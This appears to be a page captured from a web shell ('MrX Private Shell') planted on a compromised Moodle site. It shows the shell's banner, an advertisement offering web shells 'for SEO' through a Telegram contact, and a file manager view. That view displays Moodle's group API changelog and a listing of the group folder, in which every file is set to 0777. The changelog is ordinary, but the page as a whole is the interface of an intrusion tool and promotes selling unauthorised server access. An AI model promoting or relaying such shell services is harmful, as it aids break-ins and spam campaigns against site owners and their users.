__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
=== 4.5 Onwards ===
This file has been replaced by UPGRADING.md. See MDL-81125 for further information.
===
This files describes API changes in /group/*,
information provided here is intended especially for developers.
=== 4.3 ===
* The following external methods now return group names correctly formatted:
- `core_group_get_groups`
- `core_group_get_course_groups`
- `core_group_get_course_user_groups`
- `core_group_get_activity_allowed_groups`
* Groups now have access to create GeoPattern default images based upon their ID with their associated course context.
This can be done by calling the following:
moodle_url::make_pluginfile_url(
$coursecontext->id,
'group',
'generated',
$group->id,
'/',
'group.svg'
);
* Added group/grouping custom fields.
* groups_get_members_join() now includes visibility checks for group memberships.
* \core_group\visibility::sql_member_visibility_where() no longer prefixes the returned WHERE statement with AND, to
give the calling code greater flexibility about how to use it.
=== 4.2 ===
* `\core_group\visibility` class added to support new `visibility` field in group records. This holds the visibility constants
and helper functions for applying visibility restrictions when querying groups or group members in the database.
* Changes to the group form to support visibility features:
- New `visibility` field.
- New `participation` field.
- `participation` and `enablemessaging` fields are disabled (default: false) when `visibility` is set
to `visibility::OWN` or `visibility::NONE`.
* The following externallib functions now accept `visibility` and `participation` as optional parameters:
- create_groups()
- update_groups()
* The following externallib functions now also return `visibility` and `participation` fields in their responses:
- create_groups()
- get_groups()
- get_course_groups()
=== 3.11 ===
* The groups do not support 'hidepicture' any more, and so the column 'hidepicture'
from the table {groups} has be dropped.
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| amd | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| templates | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| assign.php | File | 7.62 KB | 0777 |
|
| autogroup.php | File | 9.98 KB | 0777 |
|
| autogroup_form.php | File | 10.75 KB | 0777 |
|
| clientlib.js | File | 8.65 KB | 0777 |
|
| customfield.php | File | 1.38 KB | 0777 |
|
| delete.php | File | 3.55 KB | 0777 |
|
| externallib.php | File | 68.16 KB | 0777 |
|
| group.php | File | 4.83 KB | 0777 |
|
| group_form.php | File | 10.26 KB | 0777 |
|
| grouping.php | File | 5.46 KB | 0777 |
|
| grouping_customfield.php | File | 1.4 KB | 0777 |
|
| grouping_form.php | File | 4.86 KB | 0777 |
|
| groupings.php | File | 4.7 KB | 0777 |
|
| import.php | File | 12.16 KB | 0777 |
|
| import_form.php | File | 2.77 KB | 0777 |
|
| index.php | File | 9.51 KB | 0777 |
|
| lib.php | File | 46.82 KB | 0777 |
|
| members.php | File | 6.43 KB | 0777 |
|
| module.js | File | 1.53 KB | 0777 |
|
| overview.php | File | 13.94 KB | 0777 |
|
| tabs.php | File | 1.53 KB | 0777 |
|
| upgrade.txt | File | 2.05 KB | 0777 |
|